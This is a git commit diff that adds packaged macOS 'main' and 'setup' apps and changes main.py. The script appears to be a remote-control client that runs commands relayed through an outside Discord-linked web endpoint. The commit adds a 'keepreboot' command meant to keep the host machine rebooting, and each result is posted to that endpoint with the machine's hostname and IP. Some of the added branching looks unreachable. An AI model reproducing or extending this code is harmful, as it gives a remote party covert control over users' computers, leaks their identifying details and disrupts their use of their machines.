summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-09-02 11:52:19 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-09-02 11:52:19 +0800
commitd96635e7fe944c4a59b47c326ef41526b1c1f73b (patch)
tree63f1ea1a440bd671200494e67d321c40861f8861
parent3a4901d630313d665290e87b403bef645cedd308 (diff)
test keepreboot and fixed normal reboot or normal reboot rebooting
-rwxr-xr-xdist/main-macbin0 -> 7459424 bytes
-rw-r--r--dist/main.app.zipbin0 -> 7384677 bytes
-rw-r--r--dist/main.app/Contents/Info.plist24
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin0 -> 7459424 bytes
-rwxr-xr-xdist/main.app/Contents/Resources/icon-windowed.icnsbin0 -> 110199 bytes
-rw-r--r--dist/main.app/Contents/_CodeSignature/CodeResources128
-rwxr-xr-xdist/setup-macbin0 -> 7448384 bytes
-rw-r--r--dist/setup.app.zipbin0 -> 7373229 bytes
-rw-r--r--dist/setup.app/Contents/Info.plist24
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin0 -> 7448384 bytes
-rwxr-xr-xdist/setup.app/Contents/Resources/icon-windowed.icnsbin0 -> 110199 bytes
-rw-r--r--dist/setup.app/Contents/_CodeSignature/CodeResources128
-rw-r--r--main.py23
13 files changed, 326 insertions, 1 deletions
diff --git a/dist/main-mac b/dist/main-mac
new file mode 100755
index 0000000..83ae7ed
--- /dev/null
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
new file mode 100644
index 0000000..5cc0dbf
--- /dev/null
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/Info.plist b/dist/main.app/Contents/Info.plist
new file mode 100644
index 0000000..d658c02
--- /dev/null
+++ b/dist/main.app/Contents/Info.plist
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>CFBundleDisplayName</key>
+ <string>main</string>
+ <key>CFBundleExecutable</key>
+ <string>main</string>
+ <key>CFBundleIconFile</key>
+ <string>icon-windowed.icns</string>
+ <key>CFBundleIdentifier</key>
+ <string>main</string>
+ <key>CFBundleInfoDictionaryVersion</key>
+ <string>6.0</string>
+ <key>CFBundleName</key>
+ <string>main</string>
+ <key>CFBundlePackageType</key>
+ <string>APPL</string>
+ <key>CFBundleShortVersionString</key>
+ <string>0.0.0</string>
+ <key>NSHighResolutionCapable</key>
+ <true/>
+</dict>
+</plist>
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
new file mode 100755
index 0000000..d665508
--- /dev/null
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/main.app/Contents/Resources/icon-windowed.icns b/dist/main.app/Contents/Resources/icon-windowed.icns
new file mode 100755
index 0000000..954a9a0
--- /dev/null
+++ b/dist/main.app/Contents/Resources/icon-windowed.icns
Binary files differ
diff --git a/dist/main.app/Contents/_CodeSignature/CodeResources b/dist/main.app/Contents/_CodeSignature/CodeResources
new file mode 100644
index 0000000..ae69c02
--- /dev/null
+++ b/dist/main.app/Contents/_CodeSignature/CodeResources
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>files</key>
+ <dict>
+ <key>Resources/icon-windowed.icns</key>
+ <data>
+ eEHOuYpZLB0vKGVIWGZOh5rH8+o=
+ </data>
+ </dict>
+ <key>files2</key>
+ <dict>
+ <key>Resources/icon-windowed.icns</key>
+ <dict>
+ <key>hash2</key>
+ <data>
+ uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY=
+ </data>
+ </dict>
+ </dict>
+ <key>rules</key>
+ <dict>
+ <key>^Resources/</key>
+ <true/>
+ <key>^Resources/.*\.lproj/</key>
+ <dict>
+ <key>optional</key>
+ <true/>
+ <key>weight</key>
+ <real>1000</real>
+ </dict>
+ <key>^Resources/.*\.lproj/locversion.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>1100</real>
+ </dict>
+ <key>^Resources/Base\.lproj/</key>
+ <dict>
+ <key>weight</key>
+ <real>1010</real>
+ </dict>
+ <key>^version.plist$</key>
+ <true/>
+ </dict>
+ <key>rules2</key>
+ <dict>
+ <key>.*\.dSYM($|/)</key>
+ <dict>
+ <key>weight</key>
+ <real>11</real>
+ </dict>
+ <key>^(.*/)?\.DS_Store$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>2000</real>
+ </dict>
+ <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key>
+ <dict>
+ <key>nested</key>
+ <true/>
+ <key>weight</key>
+ <real>10</real>
+ </dict>
+ <key>^.*</key>
+ <true/>
+ <key>^Info\.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^PkgInfo$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^Resources/</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^Resources/.*\.lproj/</key>
+ <dict>
+ <key>optional</key>
+ <true/>
+ <key>weight</key>
+ <real>1000</real>
+ </dict>
+ <key>^Resources/.*\.lproj/locversion.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>1100</real>
+ </dict>
+ <key>^Resources/Base\.lproj/</key>
+ <dict>
+ <key>weight</key>
+ <real>1010</real>
+ </dict>
+ <key>^[^/]+$</key>
+ <dict>
+ <key>nested</key>
+ <true/>
+ <key>weight</key>
+ <real>10</real>
+ </dict>
+ <key>^embedded\.provisionprofile$</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^version\.plist$</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ </dict>
+</dict>
+</plist>
diff --git a/dist/setup-mac b/dist/setup-mac
new file mode 100755
index 0000000..3d805ed
--- /dev/null
+++ b/dist/setup-mac
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
new file mode 100644
index 0000000..ea6159d
--- /dev/null
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/dist/setup.app/Contents/Info.plist b/dist/setup.app/Contents/Info.plist
new file mode 100644
index 0000000..d086386
--- /dev/null
+++ b/dist/setup.app/Contents/Info.plist
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>CFBundleDisplayName</key>
+ <string>setup</string>
+ <key>CFBundleExecutable</key>
+ <string>setup</string>
+ <key>CFBundleIconFile</key>
+ <string>icon-windowed.icns</string>
+ <key>CFBundleIdentifier</key>
+ <string>setup</string>
+ <key>CFBundleInfoDictionaryVersion</key>
+ <string>6.0</string>
+ <key>CFBundleName</key>
+ <string>setup</string>
+ <key>CFBundlePackageType</key>
+ <string>APPL</string>
+ <key>CFBundleShortVersionString</key>
+ <string>0.0.0</string>
+ <key>NSHighResolutionCapable</key>
+ <true/>
+</dict>
+</plist>
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
new file mode 100755
index 0000000..be03c0f
--- /dev/null
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/dist/setup.app/Contents/Resources/icon-windowed.icns b/dist/setup.app/Contents/Resources/icon-windowed.icns
new file mode 100755
index 0000000..954a9a0
--- /dev/null
+++ b/dist/setup.app/Contents/Resources/icon-windowed.icns
Binary files differ
diff --git a/dist/setup.app/Contents/_CodeSignature/CodeResources b/dist/setup.app/Contents/_CodeSignature/CodeResources
new file mode 100644
index 0000000..ae69c02
--- /dev/null
+++ b/dist/setup.app/Contents/_CodeSignature/CodeResources
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>files</key>
+ <dict>
+ <key>Resources/icon-windowed.icns</key>
+ <data>
+ eEHOuYpZLB0vKGVIWGZOh5rH8+o=
+ </data>
+ </dict>
+ <key>files2</key>
+ <dict>
+ <key>Resources/icon-windowed.icns</key>
+ <dict>
+ <key>hash2</key>
+ <data>
+ uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY=
+ </data>
+ </dict>
+ </dict>
+ <key>rules</key>
+ <dict>
+ <key>^Resources/</key>
+ <true/>
+ <key>^Resources/.*\.lproj/</key>
+ <dict>
+ <key>optional</key>
+ <true/>
+ <key>weight</key>
+ <real>1000</real>
+ </dict>
+ <key>^Resources/.*\.lproj/locversion.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>1100</real>
+ </dict>
+ <key>^Resources/Base\.lproj/</key>
+ <dict>
+ <key>weight</key>
+ <real>1010</real>
+ </dict>
+ <key>^version.plist$</key>
+ <true/>
+ </dict>
+ <key>rules2</key>
+ <dict>
+ <key>.*\.dSYM($|/)</key>
+ <dict>
+ <key>weight</key>
+ <real>11</real>
+ </dict>
+ <key>^(.*/)?\.DS_Store$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>2000</real>
+ </dict>
+ <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key>
+ <dict>
+ <key>nested</key>
+ <true/>
+ <key>weight</key>
+ <real>10</real>
+ </dict>
+ <key>^.*</key>
+ <true/>
+ <key>^Info\.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^PkgInfo$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^Resources/</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^Resources/.*\.lproj/</key>
+ <dict>
+ <key>optional</key>
+ <true/>
+ <key>weight</key>
+ <real>1000</real>
+ </dict>
+ <key>^Resources/.*\.lproj/locversion.plist$</key>
+ <dict>
+ <key>omit</key>
+ <true/>
+ <key>weight</key>
+ <real>1100</real>
+ </dict>
+ <key>^Resources/Base\.lproj/</key>
+ <dict>
+ <key>weight</key>
+ <real>1010</real>
+ </dict>
+ <key>^[^/]+$</key>
+ <dict>
+ <key>nested</key>
+ <true/>
+ <key>weight</key>
+ <real>10</real>
+ </dict>
+ <key>^embedded\.provisionprofile$</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ <key>^version\.plist$</key>
+ <dict>
+ <key>weight</key>
+ <real>20</real>
+ </dict>
+ </dict>
+</dict>
+</plist>
diff --git a/main.py b/main.py
index 86b42a1..285c917 100644
--- a/main.py
+++ b/main.py
@@ -179,7 +179,7 @@ while True:
exit()
elif command.startswith('syspower'):
localcmd = command.split()
- if localcmd[1<len(localcmd)]:
+ if localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
try:
if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
@@ -254,6 +254,27 @@ while True:
except:
continue
+ elif localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
+ if localcmd[1] == 'keepreboot':
+ if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer gonna be keep rebooting, cya...```")
+ old_command = commandId
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+ else:
+ remove(expanduser('~')/'.syspower')
continue
elif command.startswith('interact'):